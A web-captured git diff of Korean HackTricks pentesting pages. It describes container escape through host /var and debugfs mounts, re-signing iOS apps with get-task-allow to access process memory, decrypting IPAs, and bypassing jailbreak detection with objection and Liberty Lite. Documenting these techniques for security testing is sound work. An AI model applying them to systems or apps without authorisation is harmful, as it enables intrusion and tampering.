- 잘못된 구성이나 악용은 브릭된 노트북이나 부팅할 수 없는 호스트 머신으로 이어질 수 있음.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공합니다.
|
||||
- 제한 없는 특성으로 인해 보안 문제의 이력이 있습니다.
|
||||
- `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공함.
|
||||
- 제한 없는 특성으로 인해 보안 문제의 이력이 있음.
|
||||
|
||||
### `/var` Vulnerabilities
|
||||
### `/var` 취약점
|
||||
|
||||
호스트의 **/var** 폴더는 컨테이너 런타임 소켓과 컨테이너의 파일 시스템을 포함합니다. 이 폴더가 컨테이너 내부에 마운트되면 해당 컨테이너는 다른 컨테이너의 파일 시스템에 루트 권한으로 읽기-쓰기 접근을 하게 됩니다. 이는 컨테이너 간의 피벗, 서비스 거부를 유발하거나 다른 컨테이너 및 그 안에서 실행되는 애플리케이션에 백도어를 설치하는 데 악용될 수 있습니다.
|
||||
호스트의 **/var** 폴더는 컨테이너 런타임 소켓과 컨테이너의 파일 시스템을 포함함.
|
||||
이 폴더가 컨테이너 내부에 마운트되면 해당 컨테이너는 다른 컨테이너의 파일 시스템에 루트 권한으로 읽기-쓰기 접근을 얻게 됨.
|
||||
이는 컨테이너 간의 피벗, 서비스 거부를 유발하거나 다른 컨테이너 및 그 안에서 실행되는 애플리케이션에 백도어를 설치하는 데 악용될 수 있음.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
@ -255,6 +269,8 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044
|
||||
|
||||
실제 경로는 서로 다른 설정에서 다를 수 있으므로, 다른 컨테이너의 파일 시스템과 SA / 웹 아이덴티티 토큰을 찾기 위해 **find** 명령어를 사용하는 것이 가장 좋습니다.
|
||||
|
||||
|
||||
|
||||
### 참고 문헌
|
||||
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
|
||||
@ -0,0 +1,73 @@
|
||||
# iOS Pentesting without Jailbreak
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Main idea
|
||||
|
||||
**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 하여 해당 작업 포트를 얻을 수 있게 합니다(제어하고 메모리에 접근할 수 있게 됨).
|
||||
|
||||
하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것은 그리 간단하지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되고 앱이 작동하지 않습니다**.
|
||||
|
||||
구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구**(예: Iridium 또는 frida-ios-dump)를 사용하여 복호화한 후 장치에서 다시 가져올 수 있습니다. 그러나 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다.
|
||||
|
||||
## Obtain decrypted IPA
|
||||
|
||||
### Get it from Apple
|
||||
|
||||
1. iPhone에 펜테스트할 앱을 설치합니다.
|
||||
2. macOS에서 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)를 설치하고 실행합니다.
|
||||
3. Mac에서 `Terminal`을 열고 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`로 이동합니다. 나중에 이 폴더에 IPA가 나타납니다.
|
||||
4. iOS 장치가 표시되어야 합니다. 더블 클릭한 후 상단 메뉴 바에서 Add + → Apps를 클릭합니다.
|
||||
5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 권고를 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다.
|
||||
6. IPA는 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 다운로드되어 있으며, 여기서 가져올 수 있습니다.
|
||||
|
||||
이 프로세스에 대한 더 자세한 정보는 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)를 확인하세요.
|
||||
|
||||
### Decrypting the app
|
||||
|
||||
IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 iPhone이 있는 경우, 애플리케이션에서 지원하지 않을 수 있는 버전일 가능성이 높습니다. 일반적으로 앱은 최신 버전만 지원합니다.
|
||||
|
||||
따라서 설치하려면 IPA를 압축 해제하세요:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
`Info.plist`에서 최소 지원 버전을 확인하고, 기기가 그보다 오래된 경우 값을 변경하여 지원되도록 하십시오.
|
||||
|
||||
IPA를 다시 압축하십시오:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
그런 다음, 예를 들어 다음과 같이 IPA를 설치합니다:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Cydia에서 **AppSync Unified tweak**가 필요할 수 있으니 `invalid signature` 오류를 방지하세요.
|
||||
|
||||
설치가 완료되면, Cydia에서 **Iridium tweak**를 사용하여 암호화 해제된 IPA를 얻을 수 있습니다.
|
||||
|
||||
|
||||
### 권한 패치 및 재서명
|
||||
|
||||
`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구가 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-task-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다.
|
||||
|
||||
인증서 및 서명 프로필에 관해서는 Apple이 Xcode를 통해 모든 계정에 **무료 개발자 서명 프로필**을 제공합니다. 앱을 생성하고 하나를 구성하세요. 그런 다음, `Settings` → `Privacy & Security`로 이동하여 **iPhone이 개발자 앱을 신뢰하도록** 설정하세요.
|
||||
|
||||
|
||||
재서명된 IPA로 이제 장치에 설치하여 펜테스트를 진행할 시간입니다:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
### Hook
|
||||
|
||||
당신은 frida와 objection과 같은 일반적인 도구를 사용하여 쉽게 앱을 훅할 수 있습니다:
|
||||
```bash
|
||||
objection -g [your app bundle ID] explore
|
||||
|
||||
```
|
||||
## References
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## Apple Developer Program
|
||||
|
||||
**프로비저닝 아이덴티티**는 Apple 개발자 계정과 연결된 공개 및 개인 키의 모음입니다. **앱 서명**을 하려면 **Apple Developer Program**에 등록하기 위해 **99$/년**을 지불해야 프로비저닝 아이덴티티를 받을 수 있습니다. 이를 통해 소스 코드에서 실제 장치에서 애플리케이션을 실행할 수 있습니다. 또 다른 방법은 **탈옥된 장치**를 사용하는 것입니다.
|
||||
**프로비저닝 아이덴티티**는 Apple 개발자 계정과 연결된 공개 및 개인 키의 모음입니다. **앱 서명**을 하려면 **99$/년**을 지불하고 **Apple Developer Program**에 등록하여 프로비저닝 아이덴티티를 받아야 합니다. 이를 통해 소스 코드에서 실제 장치에서 애플리케이션을 실행할 수 있습니다. 또 다른 방법은 **탈옥된 장치**를 사용하는 것입니다.
|
||||
|
||||
Xcode 7.2부터 Apple은 실제 iPhone에서 애플리케이션을 작성하고 테스트할 수 있는 **무료 iOS 개발 프로비저닝 프로필**을 생성할 수 있는 옵션을 제공했습니다. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (자격 증명으로 새 Appli ID 추가) --> _생성된 Apple ID 클릭_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
|
||||
\_\_그런 다음 iPhone에서 애플리케이션을 실행하려면 먼저 **iPhone이 컴퓨터를 신뢰하도록 지정해야 합니다.** 그런 다음 _Xcode_에서 모바일에서 **애플리케이션을 실행해 보십시오.** 그러나 오류가 발생할 것입니다. 따라서 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 신뢰할 수 없는 프로필을 선택하고 "**Trust**"를 클릭하십시오.
|
||||
\_\_그런 다음 iPhone에서 애플리케이션을 실행하려면 먼저 **iPhone이 컴퓨터를 신뢰하도록 지정해야 합니다.** 그런 다음 **Xcode에서 모바일에서 애플리케이션을 실행해 볼 수 있지만 오류가 발생할 것입니다.** 따라서 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 신뢰할 수 없는 프로필을 선택하고 "**Trust**"를 클릭합니다.
|
||||
|
||||
**같은 서명 인증서로 서명된 애플리케이션은 키체인 항목과 같은 리소스를 안전하게 공유할 수 있습니다.**
|
||||
|
||||
@ -16,7 +16,7 @@ Xcode 7.2부터 Apple은 실제 iPhone에서 애플리케이션을 작성하고
|
||||
## **Simulator**
|
||||
|
||||
> [!NOTE]
|
||||
> **시뮬레이터는 에뮬레이터와 동일하지 않다는 점에 유의하십시오.** 시뮬레이터는 장치의 동작과 기능을 시뮬레이션할 뿐 실제로 사용하지는 않습니다.
|
||||
> **시뮬레이터는 에뮬레이터와 동일하지 않다는 점에 유의하세요.** 시뮬레이터는 장치의 동작과 기능을 시뮬레이션할 뿐 실제로 사용하지는 않습니다.
|
||||
|
||||
### **Simulator**
|
||||
|
||||
@ -37,7 +37,7 @@ Apple의 사실상 도구는 iOS 애플리케이션을 생성/디버깅/계측
|
||||
|
||||
### Applications in the Simulator
|
||||
|
||||
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 내부에서 **설치된 시뮬레이터**를 모두 찾을 수 있습니다. 에뮬레이터 중 하나에 생성된 애플리케이션의 파일에 접근하려면 **어느 것에 앱이 설치되었는지 아는 것이 어려울 수 있습니다.** **올바른 UID를 찾는 빠른 방법**은 시뮬레이터에서 앱을 실행하고 다음을 실행하는 것입니다:
|
||||
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 내부에서 **설치된 시뮬레이터**를 모두 찾을 수 있습니다. 에뮬레이터 중 하나에 생성된 애플리케이션의 파일에 접근하려면 **어느 에뮬레이터에 앱이 설치되었는지 아는 것이 어려울 수 있습니다.** 올바른 UID를 **찾는 빠른 방법**은 시뮬레이터에서 앱을 실행하고 다음을 실행하는 것입니다:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -50,15 +50,19 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
|
||||
## 에뮬레이터
|
||||
|
||||
Corellium은 공개적으로 사용 가능한 유일한 iOS 에뮬레이터입니다. 이는 사용자 라이선스 모델을 가진 기업 SaaS 솔루션이며, 시험 라이선스를 제공하지 않습니다.
|
||||
Corellium은 공개적으로 사용 가능한 유일한 iOS 에뮬레이터입니다. 이는 사용자당 라이선스 모델을 가진 기업 SaaS 솔루션이며, 시험 라이선스를 제공하지 않습니다.
|
||||
|
||||
## 탈옥 필요 없음
|
||||
|
||||
**탈옥되지 않은 장치**에서 iOS 애플리케이션을 어떻게 펜테스트하는지에 대한 블로그 게시물을 확인하세요: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
**탈옥되지 않은 장치**에서 iOS 애플리케이션을 펜테스트하는 방법에 대한 블로그 게시물을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
ios-pentesting-without-jailbreak.md
|
||||
{{#endref}}
|
||||
|
||||
## 탈옥
|
||||
|
||||
Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로 서명되어야 한다고 엄격히 요구합니다**. **탈옥**은 OS에 의해 설정된 그러한 제한 및 기타 보안 통제를 **우회하는 과정**입니다. 따라서 장치가 탈옥되면, 설치된 앱을 확인하는 **무결성 검사**가 패치되어 **우회됩니다**.
|
||||
Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로 서명되어야 한다고 엄격히 요구합니다**. **탈옥**은 OS에 의해 설정된 그러한 제한 및 기타 보안 통제를 **우회하는 과정**입니다. 따라서 장치가 탈옥되면, 앱 설치를 확인하는 **무결성 검사**가 패치되어 **우회됩니다**.
|
||||
|
||||
> [!NOTE]
|
||||
> Android와 달리, **iOS에서 "개발자 모드"로 전환하여 서명되지 않거나 신뢰할 수 없는 코드를 실행할 수 없습니다.**
|
||||
@ -67,17 +71,17 @@ Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로
|
||||
|
||||
종종 비교되지만, Android의 **루팅**과 iOS의 **탈옥**은 근본적으로 다른 과정입니다. Android 장치의 루팅은 **`su` 바이너리 설치** 또는 **루팅된 커스텀 ROM으로 시스템 교체**를 포함할 수 있으며, 부트로더가 잠금 해제된 경우 반드시 익스플로잇이 필요하지는 않습니다. **커스텀 ROM 플래싱**은 부트로더를 잠금 해제한 후 장치의 OS를 교체하며, 때때로 익스플로잇이 필요합니다.
|
||||
|
||||
반면, iOS 장치는 부트로더가 Apple 서명 이미지만 부팅하도록 제한되어 있어 커스텀 ROM을 플래시할 수 없습니다. **iOS 탈옥**은 서명되지 않은 코드를 실행하기 위해 Apple의 코드 서명 보호를 우회하는 것을 목표로 하며, 이는 Apple의 지속적인 보안 강화로 인해 복잡해집니다.
|
||||
반면, iOS 장치는 부트로더가 Apple 서명 이미지만 부팅하도록 제한되어 있어 커스텀 ROM을 플래싱할 수 없습니다. **iOS 탈옥**은 서명되지 않은 코드를 실행하기 위해 Apple의 코드 서명 보호를 우회하는 것을 목표로 하며, 이는 Apple의 지속적인 보안 강화로 인해 복잡해집니다.
|
||||
|
||||
### 탈옥의 도전 과제
|
||||
|
||||
Apple이 취약점을 신속하게 패치함에 따라 iOS 탈옥은 점점 더 어려워지고 있습니다. **iOS 다운그레이드**는 릴리스 후 제한된 시간 동안만 가능하여 탈옥은 시간에 민감한 문제입니다. 보안 테스트에 사용되는 장치는 재탈옥이 보장되지 않는 한 업데이트하지 않아야 합니다.
|
||||
Apple이 취약점을 신속하게 패치함에 따라 iOS 탈옥은 점점 더 어려워지고 있습니다. **iOS 다운그레이드**는 출시 후 제한된 시간 동안만 가능하므로, 탈옥은 시간에 민감한 문제입니다. 보안 테스트에 사용되는 장치는 재탈옥이 보장되지 않는 한 업데이트하지 않아야 합니다.
|
||||
|
||||
iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)에 의해 제어되며, Apple 서명 응답에 대해서만 설치를 허용합니다. 이 메커니즘은 "서명 창"으로 알려져 있으며, OTA 펌웨어 패키지를 저장하고 나중에 사용할 수 있는 능력을 제한합니다. [IPSW Downloads 웹사이트](https://ipsw.me)는 현재 서명 창을 확인하는 리소스입니다.
|
||||
iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)에 의해 제어되며, Apple 서명 응답에 대해서만 설치가 허용됩니다. 이 메커니즘은 "서명 창"으로 알려져 있으며, OTA 펌웨어 패키지를 저장하고 나중에 사용할 수 있는 능력을 제한합니다. [IPSW Downloads 웹사이트](https://ipsw.me)는 현재 서명 창을 확인할 수 있는 리소스입니다.
|
||||
|
||||
### 탈옥의 종류
|
||||
|
||||
- **테더드 탈옥**은 각 재부팅 시 컴퓨터 연결이 필요합니다.
|
||||
- **테더드 탈옥**은 매번 재부팅 시 컴퓨터 연결이 필요합니다.
|
||||
- **세미 테더드 탈옥**은 컴퓨터 없이 비탈옥 모드로 부팅할 수 있습니다.
|
||||
- **세미 언테더드 탈옥**은 컴퓨터 없이 수동으로 재탈옥이 필요합니다.
|
||||
- **언테더드 탈옥**은 재적용 없이 영구적인 탈옥 솔루션을 제공합니다.
|
||||
@ -86,15 +90,15 @@ iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)에 의해 제
|
||||
|
||||
탈옥 도구는 iOS 버전 및 장치에 따라 다릅니다. [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)와 같은 리소스는 최신 정보를 제공합니다. 예시로는:
|
||||
|
||||
- A7-A11 칩 장치용 [Checkra1n](https://checkra.in/)
|
||||
- iOS 15.0-16.5에서 Checkm8 장치(A8-A11)용 [Palera1n](https://palera.in/)
|
||||
- A7-A11 칩 장치용 [Checkra1n](https://checkra.in/).
|
||||
- iOS 15.0-16.5의 Checkm8 장치용 [Palera1n](https://palera.in/).
|
||||
- iOS 14.8까지의 버전용 [Unc0ver](https://unc0ver.dev/)가 있습니다.
|
||||
|
||||
장치를 수정하는 것은 위험을 동반하며, 탈옥은 신중하게 접근해야 합니다.
|
||||
|
||||
### 탈옥의 이점과 위험
|
||||
|
||||
탈옥은 **OS가 부과한 샌드박스를 제거하여** 앱이 전체 파일 시스템에 접근할 수 있게 합니다. 이 자유는 승인되지 않은 앱을 설치하고 더 많은 API에 접근할 수 있게 합니다. 그러나 일반 사용자에게는 잠재적인 보안 위험과 장치 불안정성 때문에 탈옥이 **권장되지 않습니다**.
|
||||
탈옥은 **OS가 부과한 샌드박스를 제거하여** 앱이 전체 파일 시스템에 접근할 수 있게 합니다. 이 자유는 승인되지 않은 앱 설치와 더 많은 API 접근을 가능하게 합니다. 그러나 일반 사용자에게는 잠재적인 보안 위험과 장치 불안정성 때문에 탈옥이 **권장되지 않습니다.**
|
||||
|
||||
### **탈옥 후**
|
||||
|
||||
@ -107,10 +111,10 @@ basic-ios-testing-operations.md
|
||||
**여러 애플리케이션이 모바일이 탈옥되었는지 감지하려고 시도하며, 이 경우 애플리케이션이 실행되지 않습니다.**
|
||||
|
||||
- 탈옥된 iOS에서는 **파일과 폴더가 일반적으로 설치되며**, 이를 검색하여 장치가 탈옥되었는지 확인할 수 있습니다.
|
||||
- 탈옥된 장치에서는 애플리케이션이 샌드박스 외부의 **새 파일에 대한 읽기/쓰기 접근 권한**을 얻습니다.
|
||||
- 탈옥된 장치에서는 애플리케이션이 샌드박스 외부의 **새 파일에 대한 읽기/쓰기 접근을 얻습니다.**
|
||||
- 일부 **API** **호출**은 **다르게 동작합니다.**
|
||||
- **OpenSSH** 서비스의 존재
|
||||
- `/bin/sh`를 호출하면 **0 대신 1을 반환합니다.**
|
||||
- `/bin/sh`를 호출하면 **0이 아닌 1을 반환합니다.**
|
||||
|
||||
**탈옥 탐지 방법에 대한 더 많은 정보는** [**여기**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**에서 확인할 수 있습니다.**
|
||||
|
||||
@ -119,7 +123,7 @@ basic-ios-testing-operations.md
|
||||
## **탈옥 탐지 우회**
|
||||
|
||||
- **objection의** `ios jailbreak disable`을 사용하여 이러한 탐지를 피할 수 있습니다.
|
||||
- **Liberty Lite** 도구를 설치할 수도 있습니다 (https://ryleyangus.com/repo/). 리포가 추가되면 앱이 ‘검색’ 탭에 나타나야 합니다.
|
||||
- **Liberty Lite** (https://ryleyangus.com/repo/) 도구를 설치할 수도 있습니다. 리포가 추가되면 앱이 ‘검색’ 탭에 나타나야 합니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user